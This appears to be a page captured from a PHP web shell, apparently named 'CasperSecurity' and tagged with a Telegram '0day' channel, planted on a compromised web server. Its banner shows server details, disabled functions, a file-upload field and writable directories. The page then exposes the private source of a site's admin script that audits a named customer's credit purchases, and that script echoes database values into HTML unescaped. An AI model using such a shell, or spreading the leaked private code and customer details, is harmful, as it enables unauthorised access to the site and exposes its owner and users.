T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/check_stephane_credits.php
<?php
/**
 * Check Stephane Bergeron's Credit Purchases and Balance
 * Investigates what happens when he bought credits with existing credits
 */

session_start();
require_once 'config/database.php';

// Check if admin
if (!isset($_SESSION['is_admin']) || !$_SESSION['is_admin']) {
    die("Admin access required");
}

$pdo = getDBConnection();
$user_id = 5; // Stephane Bergeron

echo "<h2>Stephane Bergeron - Credit Purchase Analysis</h2>";
echo "<style>
    body { font-family: Arial; padding: 20px; background: #1a1a1a; color: white; }
    table { border-collapse: collapse; width: 100%; margin: 20px 0; background: #2a2a2a; }
    th, td { border: 1px solid #444; padding: 10px; text-align: left; }
    th { background: #667eea; color: white; }
    .success { color: #48bb78; }
    .error { color: #e53e3e; }
    .warning { color: #ffc107; }
    .info { color: #667eea; }
    .section { margin: 30px 0; padding: 20px; background: #2a2a2a; border-radius: 8px; }
    .highlight { background: #3a3a3a; }
</style>";

// Get user info
$stmt = $pdo->prepare("SELECT id, name, email, credits, plan, subscription_expires FROM users WHERE id = ?");
$stmt->execute([$user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

echo "<div class='section'>";
echo "<h3>👤 User Information</h3>";
echo "<table>";
echo "<tr><th>ID</th><td>{$user['id']}</td></tr>";
echo "<tr><th>Name</th><td>{$user['name']}</td></tr>";
echo "<tr><th>Email</th><td>{$user['email']}</td></tr>";
echo "<tr><th class='highlight'>Current Credits</th><td class='highlight'><strong>{$user['credits']}</strong></td></tr>";
echo "<tr><th>Plan</th><td>{$user['plan']}</td></tr>";
echo "<tr><th>Subscription Expires</th><td>" . ($user['subscription_expires'] ?? 'N/A') . "</td></tr>";
echo "</table>";
echo "</div>";

// Get all credit purchases
echo "<div class='section'>";
echo "<h3>💰 Credit Purchase History</h3>";
$stmt = $pdo->prepare("
    SELECT 
        cp.*,
        DATE_FORMAT(cp.created_at, '%Y-%m-%d %H:%i:%s') as purchase_date,
        DATE_FORMAT(cp.expires_at, '%Y-%m-%d %H:%i:%s') as expiration_date
    FROM credit_purchases cp
    WHERE cp.user_id = ?
    ORDER BY cp.created_at DESC
");
$stmt->execute([$user_id]);
$purchases = $stmt->fetchAll(PDO::FETCH_ASSOC);

if (empty($purchases)) {
    echo "<p class='warning'>âš ī¸ No credit purchases found in credit_purchases table</p>";
} else {
    echo "<table>";
    echo "<tr>
        <th>Purchase Date</th>
        <th>Package</th>
        <th>Credits Added</th>
        <th>Amount Paid</th>
        <th>Payment Intent ID</th>
        <th>Expires At</th>
    </tr>";
    
    $total_credits_purchased = 0;
    foreach ($purchases as $purchase) {
        $total_credits_purchased += $purchase['credits'];
        echo "<tr>";
        echo "<td>{$purchase['purchase_date']}</td>";
        echo "<td>{$purchase['package']}</td>";
        echo "<td class='success'><strong>+{$purchase['credits']}</strong></td>";
        echo "<td>\${$purchase['amount']}</td>";
        echo "<td>{$purchase['payment_intent_id']}</td>";
        echo "<td>{$purchase['expiration_date']}</td>";
        echo "</tr>";
    }
    echo "<tr class='highlight'>";
    echo "<th colspan='2'>Total Credits Purchased</th>";
    echo "<td class='success'><strong>{$total_credits_purchased}</strong></td>";
    echo "<td colspan='3'></td>";
    echo "</tr>";
    echo "</table>";
}
echo "</div>";

// Get credit transactions
echo "<div class='section'>";
echo "<h3>📊 Credit Transaction History</h3>";
$stmt = $pdo->prepare("
    SELECT 
        ct.*,
        DATE_FORMAT(ct.created_at, '%Y-%m-%d %H:%i:%s') as transaction_date
    FROM credit_transactions ct
    WHERE ct.user_id = ?
    ORDER BY ct.created_at DESC
    LIMIT 50
");
$stmt->execute([$user_id]);
$transactions = $stmt->fetchAll(PDO::FETCH_ASSOC);

if (empty($transactions)) {
    echo "<p class='info'>â„šī¸ No credit transactions found</p>";
} else {
    echo "<table>";
    echo "<tr>
        <th>Date</th>
        <th>Type</th>
        <th>Amount</th>
        <th>Description</th>
        <th>Payment Intent ID</th>
    </tr>";
    
    $total_added = 0;
    $total_used = 0;
    
    foreach ($transactions as $tx) {
        $amount = $tx['amount'];
        if ($amount > 0) {
            $total_added += $amount;
            $color = 'success';
            $sign = '+';
        } else {
            $total_used += abs($amount);
            $color = 'error';
            $sign = '';
        }
        
        echo "<tr>";
        echo "<td>{$tx['transaction_date']}</td>";
        echo "<td>{$tx['type']}</td>";
        echo "<td class='{$color}'>{$sign}{$amount}</td>";
        echo "<td>{$tx['description']}</td>";
        echo "<td>" . ($tx['stripe_payment_intent_id'] ?? 'N/A') . "</td>";
        echo "</tr>";
    }
    
    echo "<tr class='highlight'>";
    echo "<th colspan='2'>Summary</th>";
    echo "<td class='success'>Total Added: +{$total_added}</td>";
    echo "<td class='error'>Total Used: -{$total_used}</td>";
    echo "<td>Net: " . ($total_added - $total_used) . "</td>";
    echo "</tr>";
    echo "</table>";
}
echo "</div>";

// Calculate expected balance
echo "<div class='section'>";
echo "<h3>🧮 Credit Balance Calculation</h3>";

$expected_balance = 0;
if (!empty($purchases)) {
    echo "<p><strong>Calculation:</strong></p>";
    echo "<ul>";
    echo "<li>Starting credits (if any): <strong>?</strong> (unknown initial balance)</li>";
    
    foreach ($purchases as $purchase) {
        $expected_balance += $purchase['credits'];
        echo "<li>+ {$purchase['credits']} credits from {$purchase['package']} package (purchased {$purchase['purchase_date']})</li>";
    }
    
    echo "<li class='highlight'><strong>Total Purchased: {$total_credits_purchased} credits</strong></li>";
    echo "</ul>";
    
    echo "<p class='info'>â„šī¸ <strong>Current Balance: {$user['credits']} credits</strong></p>";
    
    if ($user['credits'] < $total_credits_purchased) {
        $used = $total_credits_purchased - $user['credits'];
        echo "<p class='success'>✅ Credits used: <strong>{$used}</strong> credits</p>";
        echo "<p class='info'>This means Stephane has used {$used} credits to create tracks.</p>";
    } else if ($user['credits'] == $total_credits_purchased) {
        echo "<p class='warning'>âš ī¸ No credits used yet - all purchased credits still available</p>";
    } else {
        $extra = $user['credits'] - $total_credits_purchased;
        echo "<p class='error'>❌ DISCREPANCY: User has {$extra} MORE credits than purchased!</p>";
        echo "<p class='error'>This suggests credits were added from another source (free credits, admin grant, etc.)</p>";
    }
}

echo "</div>";

// Check if there's a specific "5 credit" purchase
echo "<div class='section'>";
echo "<h3>🔍 Looking for '5 credit' Purchase</h3>";

$five_credit_purchases = array_filter($purchases, function($p) {
    return $p['credits'] == 5;
});

if (!empty($five_credit_purchases)) {
    echo "<p class='success'>✅ Found " . count($five_credit_purchases) . " purchase(s) of 5 credits:</p>";
    echo "<table>";
    echo "<tr><th>Date</th><th>Package</th><th>Credits</th><th>Amount</th></tr>";
    foreach ($five_credit_purchases as $p) {
        echo "<tr>";
        echo "<td>{$p['purchase_date']}</td>";
        echo "<td>{$p['package']}</td>";
        echo "<td>{$p['credits']}</td>";
        echo "<td>\${$p['amount']}</td>";
        echo "</tr>";
    }
    echo "</table>";
} else {
    echo "<p class='info'>â„šī¸ No purchase of exactly 5 credits found.</p>";
    echo "<p class='info'>Available credit packages are:</p>";
    echo "<ul>";
    echo "<li>Starter: 30 credits for \$19.99</li>";
    echo "<li>Pro: 200 credits for \$59</li>";
    echo "<li>Premium: 500 credits for \$129</li>";
    echo "</ul>";
    echo "<p class='warning'>âš ī¸ If Stephane 'bought 5 credits', it might be:</p>";
    echo "<ul>";
    echo "<li>A free credit grant (not a purchase)</li>";
    echo "<li>Part of a subscription (Essential = 5 tracks/month, not credits)</li>";
    echo "<li>A different type of transaction</li>";
    echo "</ul>";
}
echo "</div>";

// Answer the question
echo "<div class='section'>";
echo "<h3>📝 Answer: What Happens When Credits Are Purchased?</h3>";
echo "<p><strong>How Credit Addition Works:</strong></p>";
echo "<pre style='background: #3a3a3a; padding: 15px; border-radius: 5px;'>";
echo "When a credit package is purchased:\n";
echo "1. Webhook receives payment_intent.succeeded\n";
echo "2. addCreditsToUser() function is called\n";
echo "3. SQL: UPDATE users SET credits = credits + ? WHERE id = ?\n";
echo "4. Credits are ADDED to existing balance (not replaced)\n";
echo "\n";
echo "Example:\n";
echo "  - User has: 9 credits\n";
echo "  - Buys Starter package: +30 credits\n";
echo "  - Result: 9 + 30 = 39 credits total\n";
echo "</pre>";
echo "</div>";

?>


CasperSecurity Mini